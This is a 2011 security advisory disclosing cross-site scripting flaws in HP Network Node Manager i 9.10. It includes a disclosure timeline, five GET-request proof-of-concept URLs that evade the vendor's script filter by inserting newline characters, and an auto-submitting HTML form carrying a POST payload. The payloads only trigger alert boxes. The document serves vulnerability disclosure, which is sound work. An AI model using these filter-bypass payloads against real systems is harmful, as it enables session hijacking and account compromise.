Wednesday, 23 November 2011

0A29-11-1 : Cross-Site Scripting vulnerabilities in HP Network Node Manager i 9.10

Cross-Site Scripting vulnerabilities in HP Network Node Manager i 9.10

Author: 0a29406d9794e4f9b30b3c5d6702c708 - - GMail 0a2940

Multiple XSS vulnerabilities exist within HP NNMi. In the case of GET
request XSS, this is due to a poorly implemented filter that does not
fully protect against XSS.  In the case of POST request XSS, this
appears to be due to a lack of any filter.

Of particular note is the fact that if the user is not logged in they
are presented with the login page and the XSS is activated upon login.


01 November 2011 - Reported to HP. No response
10 November 2011 - HP publish HPSBMU02708 SSRT100633 rev.1 - HP Network
    Node Manager i (NNMi) for HP-UX, Linux, Solaris, and Windows,
    Remote Cross Site Scripting (XSS) - unknown if related
16 November 2011 - Followup to HP. No response
23 November 2011 - Public disclosure



http://site/nnm/mibdiscover?node=<script %0D%0A>alert('0a29');</script%0D%0A>
http://site/nnm/protected/configurationpoll.jsp?nodename=</title><script %0D%0A>alert('0a29');</script%0D%0A>
http://site/nnm/protected/ping.jsp?nodename=</title><script %0D%0A>alert('0a29');</script%0D%0A>
http://site/nnm/protected/statuspoll.jsp?nodename=</title><SCRIPT %0D%0A>alert('0a29');</script%0D%0A>
http://site/nnm/protected/traceroute.jsp?nodename=</title><script %0D%0A>alert('0a29');</script%0D%0A>  

When the filter detects javascript contained in GET request arguments,
the server responds with an error 500 and a stack trace, which starts

javax.servlet.ServletException: Detected JavaScript tag in QueryString: "nodename=%3C/title%3E%3CSCRIPT%3E"; decoded: "nodename=</title><script>"
With the PoCs above, this filter is evaded by including newline
characters before the closing ">" of script tags.



<body onLoad="submit()">
<form name="form" action="http://site/nnm/validate" method="post">
<input type="hidden" name="binderId" value="ConsoleBinder" />
<input type="hidden" name="operation" value="command" />
<input type="hidden" name="field" value="]]><a xmlns=''><body onload='alert(/0a29/)'/></a>" />
<input type="hidden" name="value" value="a" />
<input type="hidden" name="requestId" value="b" />
<input type="submit" class="button" name="button" />
function submit() { document.form.submit(); } </script></body>